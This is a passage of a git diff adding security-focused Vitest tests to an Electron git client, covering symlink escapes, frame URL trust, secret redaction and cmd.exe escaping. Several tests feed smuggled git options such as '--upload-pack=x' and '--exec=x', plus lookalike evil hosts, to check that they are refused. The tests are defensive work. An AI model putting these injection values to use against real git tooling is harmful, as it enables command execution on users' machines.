await writeFile(outside, 'secret'); + await symlink(outside, join(repo, 'link.txt')); + await symlink(dir, join(repo, 'dirlink')); + await writeRepoFile(repo, 'sub/a.txt', 'ok'); + expect(await readFile(join(repo, 'sub/a.txt'), 'utf8')).toBe('ok'); + await expect(writeRepoFile(repo, 'link.txt', 'pwn')).rejects.toThrow(/symbolic link/); + await expect(writeRepoFile(repo, 'dirlink/new.txt', 'pwn')).rejects.toThrow(); + expect(await readFile(outside, 'utf8')).toBe('secret'); + } finally { + await rm(dir, { recursive: true, force: true }); + } + }); + + it('repo.readFile / repo.writeFile handlers refuse a symlinked leaf', async () => { + const dir = await mkdtemp(join(tmpdir(), 'gg-rw-')); + try { + const repo = join(dir, 'repo'); + await mkdir(repo, { recursive: true }); + await writeFile(join(dir, 'outside.txt'), 'secret'); + await symlink(join(dir, 'outside.txt'), join(repo, 'link.txt')); + await writeFile(join(repo, 'plain.txt'), 'hi'); + const { handlers } = createHandlers({ nlPalette: { setDispatcher: () => undefined } } as unknown as HandlerDeps); + expect(await handlers['repo.readFile'](repo, 'plain.txt')).toBe('hi'); + await expect(handlers['repo.readFile'](repo, 'link.txt')).rejects.toThrow(); + await expect(handlers['repo.writeFile'](repo, 'link.txt', 'pwn')).rejects.toThrow(/symbolic link/); + expect(await readFile(join(dir, 'outside.txt'), 'utf8')).toBe('secret'); + } finally { + await rm(dir, { recursive: true, force: true }); + } + }); +}); diff --git a/test/app-trust.test.ts b/test/app-trust.test.ts new file mode 100644 index 0000000..5d6b2a5 --- /dev/null +++ b/test/app-trust.test.ts @@ -0,0 +1,67 @@ +import { pathToFileURL } from 'node:url'; +import { describe, expect, it, vi } from 'vitest'; +import { isEntryUrl, isTrustedSender } from '../src/main/app-url'; +import { checkoutBranch, createBranch, deleteRemoteBranch, renameBranch } from '../src/main/git/branches'; +import { fetch, isAncestor, merge, rebase, rebaseBaseFor } from '../src/main/git/operations'; +import type { GitClient } from '../src/main/git/git'; + +describe('app frame trust', () => { + const entry = pathToFileURL('/opt/GitGood/resources/app/out/renderer/index.html').href; + + it('accepts the entry document (query/hash ignored) and rejects any other file:// URL', () => { + expect(isEntryUrl(entry, entry)).toBe(true); + expect(isEntryUrl(`${entry}#/repo`, entry)).toBe(true); + expect(isEntryUrl(pathToFileURL('/tmp/evil.html').href, entry)).toBe(false); + expect(isEntryUrl(pathToFileURL('/opt/GitGood/resources/app/out/renderer/other.html').href, entry)).toBe(false); + expect(isEntryUrl('https://example.com/', entry)).toBe(false); + expect(isEntryUrl('', entry)).toBe(false); + expect(isEntryUrl('not a url', entry)).toBe(false); + }); + + it('compares http entries by origin and path, not by prefix', () => { + expect(isEntryUrl('http://localhost:5173/', 'http://localhost:5173')).toBe(true); + expect(isEntryUrl('http://localhost:5173/x', 'http://localhost:5173')).toBe(false); + expect(isEntryUrl('http://localhost:5173.evil.test/', 'http://localhost:5173')).toBe(false); + expect(isEntryUrl('http://localhost:5174/', 'http://localhost:5173')).toBe(false); + }); + + it('serves IPC only to the top-level frame showing the entry document', () => { + const main = { url: entry }; + expect(isTrustedSender({ sender: { mainFrame: main }, senderFrame: main }, entry)).toBe(true); + expect(isTrustedSender({ sender: { mainFrame: main }, senderFrame: { url: entry } }, entry)).toBe(false); // subframe + expect(isTrustedSender({ sender: { mainFrame: main }, senderFrame: null }, entry)).toBe(false); + const other = { url: pathToFileURL('/tmp/evil.html').href }; + expect(isTrustedSender({ sender: { mainFrame: other }, senderFrame: other }, entry)).toBe(false); + }); +}); + +describe('ref arguments starting with "-" are refused before git runs', () => { + const fake = () => { + const run = vi.fn(async () => ({ stdout: '', stderr: '', stdoutBuffer: Buffer.alloc(0) })); + const git = { run, tryRun: run, stdout: vi.fn(async () => '') } as unknown as GitClient; + return { git, run }; + }; + + it('rejects option-like names in branch and operation functions', async () => { + const { git, run } = fake(); + await expect(checkoutBranch(git, '/r', '--orphan')).rejects.toThrow(/must not start with "-"/); + await expect(deleteRemoteBranch(git, '/r', '--mirror', 'x')).rejects.toThrow(); + await expect(createBranch(git, '/r', '-x', null, true)).rejects.toThrow(); + await expect(createBranch(git, '/r', 'ok', '--detach', true)).rejects.toThrow(); + await expect(renameBranch(git, '/r', 'a', '-m')).rejects.toThrow(); + await expect(merge(git, '/r', '--abort', false)).rejects.toThrow(); + await expect(rebase(git, '/r', '--exec=x')).rejects.toThrow(); + await expect(fetch(git, '/r', '--upload-pack=x', () => undefined)).rejects.toThrow(); + await expect(isAncestor(git, '/r', '-x', 'HEAD')).rejects.toThrow(); + await expect(rebaseBaseFor(git, '/r', ['abc1234', '-x'])).rejects.toThrow(); + expect(run).not.toHaveBeenCalled(); + }); + + it('still runs ordinary names, and checkout gets no "--" separator', async () => { + const { git, run } = fake(); + await checkoutBranch(git, '/r', 'feature/x'); + expect(run).toHaveBeenCalledWith('/r', ['checkout', 'feature/x']); + await createBranch(git, '/r', 'topic', 'main', false); + expect(run).toHaveBeenCalledWith('/r', ['branch', 'topic', 'main']); + }); +}); diff --git a/test/argv.test.ts b/test/argv.test.ts new file mode 100644 index 0000000..c38f1e1 --- /dev/null +++ b/test/argv.test.ts @@ -0,0 +1,32 @@ +import { resolve } from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { pathFromArgv } from '../src/main/argv'; + +const dirs = new Set([resolve('/work/app'), resolve('/home/u/proj'), resolve('/gg')]); +const isDirectory = (p: string) => dirs.has(p); +const pick = (argv: string[], defaultApp = false, cwd = '/work') => pathFromArgv(argv, { defaultApp, cwd, isDirectory }); + +describe('pathFromArgv', () => { + it('opens a directory passed to a packaged app (relative paths resolve against cwd)', () => { + expect(pick(['/opt/GitGood/gitgood', '/home/u/proj'])).toBe(resolve('/home/u/proj')); + expect(pick(['C:\\Program Files\\GitGood\\GitGood.exe', 'app'], false, '/work')).toBe(resolve('/work/app')); + }); + + it('does not treat the dev app path (`electron .`) as a repository, but takes the path after it', () => { + expect(pick(['/node_modules/electron/dist/electron', '/gg'], true)).toBeNull(); + expect(pick(['/node_modules/electron/dist/electron', '/gg', '/home/u/proj'], true)).toBe(resolve('/home/u/proj')); + expect(pick(['/node_modules/electron/dist/electron', '--inspect=9229', '/gg', '--no-sandbox'], true)).toBeNull(); + }); + + it('ignores flags, the background-server flag, protocol links and missing paths (AppImage argv)', () => { + expect(pick(['/tmp/.mount_GitGoodAbc/gitgood', '--no-sandbox'])).toBeNull(); + expect(pick(['/tmp/.mount_GitGoodAbc/gitgood', '--gitgood-server'])).toBeNull(); + expect(pick(['/tmp/.mount_GitGoodAbc/gitgood', 'gitgood://openRepo/https://github.com/o/r'])).toBeNull(); + expect(pick(['/tmp/.mount_GitGoodAbc/gitgood', '/nope', '/home/u/proj'])).toBe(resolve('/home/u/proj')); + expect(pick(['/tmp/.mount_GitGoodAbc/gitgood', '--no-sandbox', '/home/u/proj'])).toBe(resolve('/home/u/proj')); + }); + + it('never treats the executable itself as a path', () => { + expect(pick(['/home/u/proj'])).toBeNull(); + }); +}); diff --git a/test/clone-args.test.ts b/test/clone-args.test.ts new file mode 100644 index 0000000..7c9bd5e --- /dev/null +++ b/test/clone-args.test.ts @@ -0,0 +1,35 @@ +import { describe, expect, it } from 'vitest'; +import { cloneArgs, normalizeSparseDirs } from '../src/main/git/operations'; + +const base = { branch: null }; + +describe('cloneArgs', () => { + it('keeps submodules on by default, matching the previous behaviour', () => { + expect(cloneArgs('u', 'd', base)).toEqual(['clone', '--progress', '--recurse-submodules', '--', 'u', 'd']); + expect(cloneArgs('u', 'd', { ...base, submodules: false })).toEqual(['clone', '--progress', '--', 'u', 'd']); + }); + + it('builds a shallow, blobless, sparse clone and shallows submodules too', () => { + expect(cloneArgs('u', 'd', { branch: 'dev', depth: 1, blobless: true, sparse: ['src'] })).toEqual([ + 'clone', '--progress', '--recurse-submodules', '--branch', 'dev', '--depth', '1', '--shallow-submodules', '--filter=blob:none', '--sparse', '--', 'u', 'd', + ]); + }); + + it('adds --single-branch only when asked and rejects a bad depth or option-like branch', () => { + expect(cloneArgs('u', 'd', { ...base, singleBranch: true, submodules: false })).toContain('--single-branch'); + expect(() => cloneArgs('u', 'd', { ...base, depth: 0 })).toThrow(/depth/); + expect(() => cloneArgs('u', 'd', { ...base, depth: 1.5 })).toThrow(/depth/); + expect(() => cloneArgs('u', 'd', { branch: '--upload-pack=x' })).toThrow(/must not start/); + }); +}); + +describe('normalizeSparseDirs', () => { + it('normalizes separators, strips ./ and trailing slashes, and de-duplicates', () => { + expect(normalizeSparseDirs([' ./src/ ', 'docs\\guides', '/src', ''])).toEqual(['src', 'docs/guides']); + }); + + it('refuses option-like and escaping entries', () => { + expect(() => normalizeSparseDirs(['--foo'])).toThrow(/not a valid/); + expect(() => normalizeSparseDirs(['a/../../b'])).toThrow(/not a valid/); + }); +}); diff --git a/test/core-electron-free.test.ts b/test/core-electron-free.test.ts index c238949..973fa08 100644 --- a/test/core-electron-free.test.ts +++ b/test/core-electron-free.test.ts @@ -1,4 +1,4 @@ -import { readFileSync } from 'node:fs'; +import { readdirSync, readFileSync } from 'node:fs'; import { resolve } from 'node:path'; import { describe, expect, it } from 'vitest'; @@ -6,7 +6,8 @@ import { describe, expect, it } from 'vitest'; // anywhere in it (even transitively via a sibling in core/) would drag the // desktop runtime into a headless Node process. Guard the boundary here rather // than only discovering it when the server build fails. -const CORE_FILES = ['src/main/core/handlers.ts', 'src/main/core/bus.ts', 'src/main/core/host.ts', 'src/main/core/store-platform.ts', 'src/main/store.ts']; +const HANDLER_FILES = readdirSync(resolve('src/main/core/handlers')).map((f) => `src/main/core/handlers/${f}`); +const CORE_FILES = [...HANDLER_FILES, 'src/main/core/bus.ts', 'src/main/core/host.ts', 'src/main/core/store-platform.ts', 'src/main/store.ts']; describe('Electron-free core', () => { for (const file of CORE_FILES) { it(`${file} does not import electron`, () => { diff --git a/test/data-protection.test.ts b/test/data-protection.test.ts new file mode 100644 index 0000000..8c119a9 --- /dev/null +++ b/test/data-protection.test.ts @@ -0,0 +1,85 @@ +import { mkdtempSync, readdirSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { DEFAULT_SETTINGS } from '../src/shared/types'; +import { ErrorExplainService } from '../src/main/ai/error-explain'; +import { createBackend } from '../src/main/ai/provider'; +import { initLogger, log } from '../src/main/logger'; +import { Store } from '../src/main/store'; + +vi.mock('../src/main/ai/provider', () => ({ createBackend: vi.fn() })); + +const dirs: string[] = []; +const tmp = (): string => { + const d = mkdtempSync(join(tmpdir(), 'gg-data-')); + dirs.push(d); + return d; +}; +afterEach(() => { + vi.restoreAllMocks(); + for (const d of dirs.splice(0)) rmSync(d, { recursive: true, force: true }); +}); + +describe.skipIf(process.platform === 'win32')('Store file permissions', () => { + it('writes secrets.json owner-only and creates the data directory 0700', () => { + const dir = join(tmp(), 'data'); + const store = new Store(dir); + store.load(); + store.setApiKey('sk-ant-plaintext-fallback-key'); + expect(statSync(join(dir, 'secrets.json')).mode & 0o777).toBe(0o600); + expect(statSync(dir).mode & 0o777).toBe(0o700); + }); +}); + +describe('Store corrupt JSON', () => { + it('moves an unparseable settings.json aside instead of silently overwriting it', () => { + const dir = tmp(); + writeFileSync(join(dir, 'settings.json'), '{ "theme": "dark", oops'); + vi.spyOn(console, 'error').mockImplementation(() => {}); + const store = new Store(dir); + store.load(); + expect(store.getSettings().ai).toBeDefined(); + const kept = readdirSync(dir).filter((f) => f.startsWith('settings.json.corrupt-')); + expect(kept).toHaveLength(1); + expect(readFileSync(join(dir, kept[0]), 'utf8')).toBe('{ "theme": "dark", oops'); + }); + + it('does not create a .corrupt file when the file is simply missing', () => { + const dir = tmp(); + new Store(dir).load(); + expect(readdirSync(dir).filter((f) => f.includes('.corrupt-'))).toEqual([]); + }); +}); + +describe('logger redaction', () => { + it('scrubs secrets from every line and creates the log owner-only', () => { + const dir = tmp(); + initLogger(dir); + vi.spyOn(console, 'log').mockImplementation(() => {}); + vi.spyOn(console, 'error').mockImplementation(() => {}); + log.info('git clone https://alice:hunter2@github.com/o/r.git'); + log.error('boom with ghp_1234567890abcdefghij1234567890ABCD', new Error('Authorization: Bearer abc.def.ghi')); + const text = readFileSync(join(dir, 'gitgood.log'), 'utf8'); + expect(text).not.toMatch(/hunter2|ghp_1234567890|abc\.def\.ghi/); + expect(text).toContain('https://***:***@github.com'); + if (process.platform !== 'win32') expect(statSync(join(dir, 'gitgood.log')).mode & 0o777).toBe(0o600); + }); +}); + +describe('ErrorExplainService', () => { + it('sends the failed command to the model with secrets scrubbed', async () => { + let prompt = ''; + const complete = vi.fn(async (req: { prompt: string }) => { + prompt = req.prompt; + return { json: {}, model: 'm' }; + }); + vi.mocked(createBackend).mockResolvedValue({ backend: { name: 'claude-cli', complete }, settings: { ...DEFAULT_SETTINGS.ai } } as never); + const tools = { current: () => ({ git: { version: '2.45.0' }, gh: { installed: false, version: null } }) }; + const service = new ErrorExplainService({} as never, tools as never, {} as never); + vi.spyOn(console, 'log').mockImplementation(() => {}); + await service.explainError(null, { code: 'auth', command: 'git push https://alice:hunter2@github.com/o/r.git', exitCode: 128, stderr: '', stdout: '', message: 'x' } as never, false).catch(() => {}); + expect(prompt).toContain('https://***:***@github.com'); + expect(prompt).not.toContain('hunter2'); + }); +}); diff --git a/test/error-explain.test.ts b/test/error-explain.test.ts index 10cab41..33b3f84 100644 --- a/test/error-explain.test.ts +++ b/test/error-explain.test.ts @@ -1,7 +1,8 @@ import { describe, expect, it } from 'vitest'; import type { RepositoryStatus } from '../src/shared/types'; import { FIX_ACTIONS, getFixAction, riskMax } from '../src/main/ai/fixActions'; -import { checkLockFileGuard, extractRemoteHost, isSafeCopyCommand, scrubAndTail, scrubSecrets, tailText, validateErrorExplanation, validateFixes } from '../src/main/ai/error-explain-core'; +import { checkLockFileGuard, extractRemoteHost, isSafeCopyCommand, scrubAndTail, tailText, validateErrorExplanation, validateFixes } from '../src/main/ai/error-explain-core'; +import { scrubSecrets } from '../src/shared/secrets'; function status(overrides: Partial = {}): RepositoryStatus { return { diff --git a/test/event-routing.test.ts b/test/event-routing.test.ts new file mode 100644 index 0000000..f9944d1 --- /dev/null +++ b/test/event-routing.test.ts @@ -0,0 +1,43 @@ +import { describe, expect, it } from 'vitest'; +import { windowClientId, windowsFor } from '../src/main/core/event-routing'; + +const windows = [1, 2, 3].map((id) => ({ id, clientId: windowClientId(id) })); +const nobody = () => []; + +describe('windowClientId', () => { + it('gives every window its own, stable client id', () => { + const ids = windows.map((w) => w.clientId); + expect(new Set(ids).size).toBe(3); + expect(windowClientId(2)).toBe(ids[1]); + expect(ids).not.toContain(''); // '' is the "no calling window" context + }); +}); + +describe('windowsFor', () => { + it('sends a calling window its own progress and AI events only', () => { + for (const event of ['progress', 'ai.progress', 'ai.review.progress', 'ai.split.progress', 'gh.auth.code'] as const) { + expect(windowsFor(event, {}, windowClientId(2), windows, nobody).map((w) => w.id)).toEqual([2]); + } + }); + + it('falls back to every window when a caller event has no calling window', () => { + expect(windowsFor('progress', {}, '', windows, nobody)).toHaveLength(3); + }); + + it('sends repo.changed to the windows that have that repository open, whoever caused it', () => { + const watchers = (repoPath: string) => (repoPath === '/repo/a' ? [windowClientId(1), windowClientId(3)] : []); + expect(windowsFor('repo.changed', { repoPath: '/repo/a', reason: 'both' }, windowClientId(2), windows, watchers).map((w) => w.id)).toEqual([1, 3]); + expect(windowsFor('repo.changed', { repoPath: '/repo/b', reason: 'both' }, '', windows, watchers)).toEqual([]); + }); + + it('broadcasts app-wide events to every window regardless of the caller', () => { + for (const event of ['repos.changed', 'settings.changed', 'tools.changed', 'gh.inbox.changed', 'app.update.changed', 'theme.changed', 'repos.scanProgress'] as const) { + expect(windowsFor(event, {}, windowClientId(2), windows, nobody)).toHaveLength(3); + } + }); + + it('ignores clients that are not a window', () => { + const watchers = () => ['not-a-window']; + expect(windowsFor('repo.changed', { repoPath: '/x' }, '', windows, watchers)).toEqual([]); + }); +}); diff --git a/test/exec-windows-cmd.test.ts b/test/exec-windows-cmd.test.ts index 658f112..ceae8f1 100644 --- a/test/exec-windows-cmd.test.ts +++ b/test/exec-windows-cmd.test.ts @@ -27,6 +27,14 @@ function unescapedMetaCharsRemain(escaped: string): boolean { } describe('cmdEscapeArgument', () => { + it('survives the second parse a batch file gives its arguments when it expands %*', () => { + const schema = JSON.stringify({ description: 'a & b | c' }); + const escaped = cmdEscapeArgument(schema, true); + expect(unescapedMetaCharsRemain(escaped)).toBe(false); + expect(unescapedMetaCharsRemain(cmdUnescape(escaped))).toBe(false); + expect(cmdUnescape(cmdUnescape(escaped))).toBe(`"${schema.replace(/"/g, '\\"')}"`); + }); + it('leaves no metacharacter for cmd.exe to act on', () => { for (const arg of ['plain', 'has space', 'a&b', 'a|b', 'a>b', 'a ${cmdEscapeArgument(arg)}`).toBe(false); @@ -71,7 +79,7 @@ describe('buildWindowsCmdInvocation', () => { const { file, args } = buildWindowsCmdInvocation('C:\\npm\\claude.cmd', ['-p', '--json-schema', '{"a":"b"}'], 'C:\\Windows\\system32\\cmd.exe'); expect(file).toBe('C:\\Windows\\system32\\cmd.exe'); expect(args.slice(0, 3)).toEqual(['/d', '/s', '/c']); - const inner = ['C:\\npm\\claude.cmd', '-p', '--json-schema', '{"a":"b"}'].map(cmdEscapeArgument).join(' '); + const inner = [cmdEscapeArgument('C:\\npm\\claude.cmd'), ...['-p', '--json-schema', '{"a":"b"}'].map((a) => cmdEscapeArgument(a, true))].join(' '); // Wrapped so /S's stripping (first char + last quote char in the whole // string) removes exactly the wrapper, leaving every per-argument quote // pair -- all of them `^`-escaped -- untouched. diff --git a/test/fixture/ai-pr-draft.test.ts b/test/fixture/ai-pr-draft.test.ts index 5b3e484..028aad7 100644 --- a/test/fixture/ai-pr-draft.test.ts +++ b/test/fixture/ai-pr-draft.test.ts @@ -1,4 +1,4 @@ -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; import { GitClient } from '../../src/main/git/git'; import { GhClient } from '../../src/main/gh/gh'; import { PrDraftService } from '../../src/main/ai/prDraft'; @@ -117,7 +117,7 @@ describe.skipIf(!hasGitSync())('PrDraftService end-to-end against the claude stu repo.git(['checkout', '-b', 'feature']); repo.commit({ message: 'add x', files: { 'a.txt': '2\n' } }); const stubResponse = { is_error: false, structured_output: { title: 'x', body: 'y', linkedIssues: [], templateSectionsFilled: [] } }; - const scenario = await createStubScenario([{ match: '-p', stdout: JSON.stringify(stubResponse), delayMs: 2000 }]); + const scenario = await createStubScenario([{ match: '-p', stdout: JSON.stringify(stubResponse), delayMs: 10000 }]); try { const tools = createFakeTools({ gitPath: repo.gitBin, claudePath: claudeLauncherPath(), env: { ...repo.env, ...scenario.env('CLAUDE') } }); const git = new GitClient(tools); @@ -125,7 +125,8 @@ describe.skipIf(!hasGitSync())('PrDraftService end-to-end against the claude stu const service = new PrDraftService(fakeStore(), tools, git, gh, fakeRepos()); const events: string[] = []; const promise = service.draft(repo.path, { base: 'main', head: 'feature', existingTitle: '', existingBody: '' }, (phase) => events.push(phase)); - await new Promise((resolve) => setTimeout(resolve, 150)); + // Gathering the diff before the model call is slow on Windows; wait for it rather than guessing. + await vi.waitFor(() => expect(events).toContain('thinking'), { timeout: 8000 }); expect(service.isActive()).toBe(true); service.cancel(); await expect(promise).rejects.toThrow(); diff --git a/test/fixture/gh-settings-sync.test.ts b/test/fixture/gh-settings-sync.test.ts index 2697107..23959a0 100644 --- a/test/fixture/gh-settings-sync.test.ts +++ b/test/fixture/gh-settings-sync.test.ts @@ -15,13 +15,15 @@ async function withScenario(rules: Parameters[0], fn: } describe('GhClient gist wrappers (settings sync) against the gh stub', () => { - it('gistFind matches by description in a gists listing', async () => { + it('gistFind matches a secret gist by description and file in a gists listing', async () => { + const files = { 'gitgood-settings.json': {} }; const raw = [ - { id: 'aaa', description: 'Something else', updated_at: '2026-01-01T00:00:00Z' }, - { id: 'bbb', description: 'GitGood settings', updated_at: '2026-02-01T00:00:00Z' }, + { id: 'aaa', description: 'Something else', public: false, files, updated_at: '2026-01-01T00:00:00Z' }, + { id: 'pub', description: 'GitGood settings', public: true, files, updated_at: '2026-03-01T00:00:00Z' }, + { id: 'bbb', description: 'GitGood settings', public: false, files, updated_at: '2026-02-01T00:00:00Z' }, ]; await withScenario([{ match: 'gists', stdout: JSON.stringify(raw) }], async (client, scenario) => { - const found = await client.gistFind('GitGood settings'); + const found = await client.gistFind('GitGood settings', 'gitgood-settings.json'); expect(found).toEqual({ id: 'bbb', updatedAt: '2026-02-01T00:00:00Z' }); const log = await readStubLog(scenario.logPath); expect(log[0].args).toEqual(['api', 'gists', '--paginate']); @@ -30,7 +32,7 @@ describe('GhClient gist wrappers (settings sync) against the gh stub', () => { it('gistFind returns null when no gist matches the description', async () => { await withScenario([{ match: 'gists', stdout: '[]' }], async (client) => { - expect(await client.gistFind('GitGood settings')).toBeNull(); + expect(await client.gistFind('GitGood settings', 'gitgood-settings.json')).toBeNull(); }); }); @@ -66,9 +68,9 @@ describe('GhClient gist wrappers (settings sync) against the gh stub', () => { }); }); - it('gistMetadata returns updatedAt for an existing gist', async () => { - await withScenario([{ match: ['api', 'gists/abc123'], stdout: JSON.stringify({ updated_at: '2026-03-01T00:00:00Z' }) }], async (client) => { - expect(await client.gistMetadata('abc123')).toEqual({ updatedAt: '2026-03-01T00:00:00Z' }); + it('gistMetadata returns updatedAt and visibility for an existing gist', async () => { + await withScenario([{ match: ['api', 'gists/abc123'], stdout: JSON.stringify({ updated_at: '2026-03-01T00:00:00Z', public: false }) }], async (client) => { + expect(await client.gistMetadata('abc123')).toEqual({ updatedAt: '2026-03-01T00:00:00Z', public: false }); }); }); diff --git a/test/fixture/git-commit-options.test.ts b/test/fixture/git-commit-options.test.ts new file mode 100644 index 0000000..6ce7513 --- /dev/null +++ b/test/fixture/git-commit-options.test.ts @@ -0,0 +1,81 @@ +import { chmod, writeFile } from 'node:fs/promises'; +import { join } from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { commitFlags, createCommit, readCommitTemplate } from '../../src/main/git/commit'; +import { getRangeFiles } from '../../src/main/git/diff'; +import { GitClient } from '../../src/main/git/git'; +import { createRepo, hasGitSync } from '../helpers/repo'; + +const opts = { summary: 'change', description: '', coAuthors: [], amend: false, files: ['a.txt'], partialPatches: {} }; + +describe('commitFlags', () => { + it('combines signing override, sign-off and skip-hooks', () => { + expect(commitFlags({})).toEqual([]); + expect(commitFlags({ signOverride: 'unsigned', signoff: true, noVerify: true })).toEqual(['--no-gpg-sign', '--signoff', '--no-verify']); + expect(commitFlags({ signOverride: 'sign' })).toEqual(['-S']); + }); +}); + +describe.skipIf(!hasGitSync())('commit options against real git', () => { + it('adds Signed-off-by with signoff and bypasses a failing pre-commit hook with noVerify', async () => { + const repo = await createRepo({ commits: [{ message: 'init', files: { 'a.txt': '1\n' } }] }); + try { + const hook = join(repo.path, '.git', 'hooks', 'pre-commit'); + await writeFile(hook, '#!/bin/sh\necho blocked >&2\nexit 1\n'); + await chmod(hook, 0o755); + const git = new GitClient(repo.tools()); + await repo.write('a.txt', '2\n'); + await expect(createCommit(git, repo.path, { ...opts, signoff: true }, false)).rejects.toThrow(); + await createCommit(git, repo.path, { ...opts, signoff: true, noVerify: true }, false); + expect(repo.git(['log', '-1', '--format=%B'])).toContain('Signed-off-by: Test User '); + await repo.write('a.txt', '3\n'); + await createCommit(git, repo.path, { ...opts, noVerify: true }, false); + expect(repo.git(['log', '-1', '--format=%B'])).not.toContain('Signed-off-by'); + } finally { + await repo.dispose(); + } + }); + + it('reads commit.template relative to the repo, dropping comment lines; ignores missing, binary or absent templates', async () => { + const repo = await createRepo({ commits: [{ message: 'init', files: { 'a.txt': '1\n' } }] }); + try { + const git = new GitClient(repo.tools()); + expect(await readCommitTemplate(git, repo.path)).toBeNull(); + await repo.write('.gitmessage', 'feat: \n\nWhy:\n# Explain why\n'); + repo.git(['config', 'commit.template', '.gitmessage']); + expect(await readCommitTemplate(git, repo.path)).toEqual({ summary: 'feat: ', description: 'Why:' }); + await repo.write('.gitmessage', '# only comments\n'); + expect(await readCommitTemplate(git, repo.path)).toBeNull(); + await repo.write('.gitmessage', 'bin\0ary'); + expect(await readCommitTemplate(git, repo.path)).toBeNull(); + repo.git(['config', 'commit.template', 'nope.txt']); + expect(await readCommitTemplate(git, repo.path)).toBeNull(); + } finally { + await repo.dispose(); + } + }); +}); + +describe.skipIf(!hasGitSync())('getRangeFiles', () => { + it('lists name-status entries for base...head, excluding changes only on base', async () => { + const repo = await createRepo({ commits: [{ message: 'init', files: { 'keep.txt': '1\n', 'old.txt': 'x\n', 'gone.txt': 'y\n' } }] }); + try { + repo.git(['checkout', '-b', 'feature']); + repo.commit({ message: 'feature', files: { 'keep.txt': '2\n', 'z-new.txt': 'n\n' }, remove: ['gone.txt'] }); + repo.git(['mv', 'old.txt', 'renamed.txt']); + repo.commit({ message: 'rename', allowEmpty: true }); + repo.git(['checkout', 'main']); + repo.commit({ message: 'main only', files: { 'main-only.txt': '1\n' } }); + const git = new GitClient(repo.tools()); + const files = await getRangeFiles(git, repo.path, 'main', 'feature'); + expect(files.map((f) => [f.path, f.status, f.oldPath])).toEqual([ + ['gone.txt', 'deleted', null], + ['keep.txt', 'modified', null], + ['renamed.txt', 'renamed', 'old.txt'], + ['z-new.txt', 'new', null], + ]); + } finally { + await repo.dispose(); + } + }); +}); diff --git a/test/fixture/git-diff-range.test.ts b/test/fixture/git-diff-range.test.ts index c8a4b28..5c83af4 100644 --- a/test/fixture/git-diff-range.test.ts +++ b/test/fixture/git-diff-range.test.ts @@ -1,4 +1,6 @@ import { describe, expect, it } from 'vitest'; +import { gitReadHandlers } from '../../src/main/core/handlers/gitRead'; +import type { HandlerContext } from '../../src/main/core/handlers/context'; import { getRangePatch } from '../../src/main/git/diff'; import { GitClient } from '../../src/main/git/git'; import { createRepo, hasGitSync } from '../helpers/repo'; @@ -52,4 +54,30 @@ describe.skipIf(!hasGitSync())('getRangePatch', () => { await repo.dispose(); } }); + + it('shows a renamed file as a rename in the range diff, with only the real changed lines', async () => { + const make = (tag: string) => Array.from({ length: 20 }, (_, i) => `${tag} line ${i}`).join('\n') + '\n'; + const body = make('edit'); + const repo = await createRepo({ commits: [{ message: 'init', files: { 'old.txt': make('old'), 'edit.txt': body } }] }); + try { + repo.git(['checkout', '-b', 'feature']); + repo.git(['mv', 'old.txt', 'new.txt']); + repo.git(['mv', 'edit.txt', 'moved.txt']); + repo.commit({ message: 'rename', files: { 'moved.txt': body.replace('edit line 10\n', 'edit line ten\n') } }); + const git = new GitClient(repo.tools()); + const handlers = gitReadHandlers({ git } as unknown as HandlerContext); + + const pure = await handlers['repo.diff.range'](repo.path, 'main', 'feature', 'new.txt', {}); + expect(pure).toEqual({ kind: 'empty', reason: 'Renamed from old.txt with no content changes.' }); + + const edited = await handlers['repo.diff.range'](repo.path, 'main', 'feature', 'moved.txt', {}); + if (edited.kind !== 'text') throw new Error(`expected text diff, got ${edited.kind}`); + expect(edited.oldPath).toBe('edit.txt'); + expect(edited.newPath).toBe('moved.txt'); + const changed = edited.hunks.flatMap((h) => h.lines).filter((l) => l.type !== 'context').map((l) => `${l.type}:${l.text}`); + expect(changed).toEqual(['delete:edit line 10', 'add:edit line ten']); + } finally { + await repo.dispose(); + } + }); }); diff --git a/test/fixture/history-graph.test.ts b/test/fixture/history-graph.test.ts new file mode 100644 index 0000000..d2f0710 --- /dev/null +++ b/test/fixture/history-graph.test.ts @@ -0,0 +1,40 @@ +import { describe, expect, it } from 'vitest'; +import { extendGraph } from '../../src/shared/graph'; +import { GitClient } from '../../src/main/git/git'; +import { getHistory } from '../../src/main/git/log'; +import { createRepo, hasGitSync } from '../helpers/repo'; + +describe.skipIf(!hasGitSync())('history in graph order', () => { + it('lists children before parents even with clock skew, and pages lay out like one pass', async () => { + const repo = await createRepo({ commits: [{ message: 'base', files: { 'a.txt': '0\n' }, date: '2020-01-01T00:00:00Z' }] }); + try { + repo.git(['checkout', '-q', '-b', 'side']); + // The side branch's commits carry later timestamps than the merge below. + repo.commit({ message: 's1', files: { 's.txt': '1\n' }, date: '2031-01-01T00:00:00Z' }); + repo.commit({ message: 's2', files: { 's.txt': '2\n' }, date: '2031-01-02T00:00:00Z' }); + repo.git(['checkout', '-q', 'main']); + repo.commit({ message: 'm1', files: { 'm.txt': '1\n' }, date: '2021-01-01T00:00:00Z' }); + repo.git(['merge', '--no-ff', '-q', '-m', 'merge side', 'side'], undefined); + repo.commit({ message: 'm2', files: { 'm.txt': '2\n' }, date: '2021-06-01T00:00:00Z' }); + + const git = new GitClient(repo.tools()); + const opts = { ref: null, path: null, search: null, follow: false, graph: true }; + const all = (await getHistory(git, repo.path, { ...opts, skip: 0, limit: 50 })).commits; + expect(all).toHaveLength(6); + const index = new Map(all.map((c, i) => [c.sha, i])); + for (const c of all) for (const p of c.parents) expect(index.get(p)!).toBeGreaterThan(index.get(c.sha)!); + + // Two pages of 3 reproduce the same order (deterministic under --skip) and the same lanes when extended incrementally. + const p1 = await getHistory(git, repo.path, { ...opts, skip: 0, limit: 3 }); + const p2 = await getHistory(git, repo.path, { ...opts, skip: 3, limit: 3 }); + expect(p1.hasMore).toBe(true); + const paged = [...p1.commits, ...p2.commits]; + expect(paged.map((c) => c.sha)).toEqual(all.map((c) => c.sha)); + const incremental = extendGraph(extendGraph(null, p1.commits), paged); + expect(incremental.rows).toEqual(extendGraph(null, all).rows); + expect(incremental.width).toBe(2); + } finally { + await repo.dispose(); + } + }); +}); diff --git a/test/fixture/repo-account.test.ts b/test/fixture/repo-account.test.ts new file mode 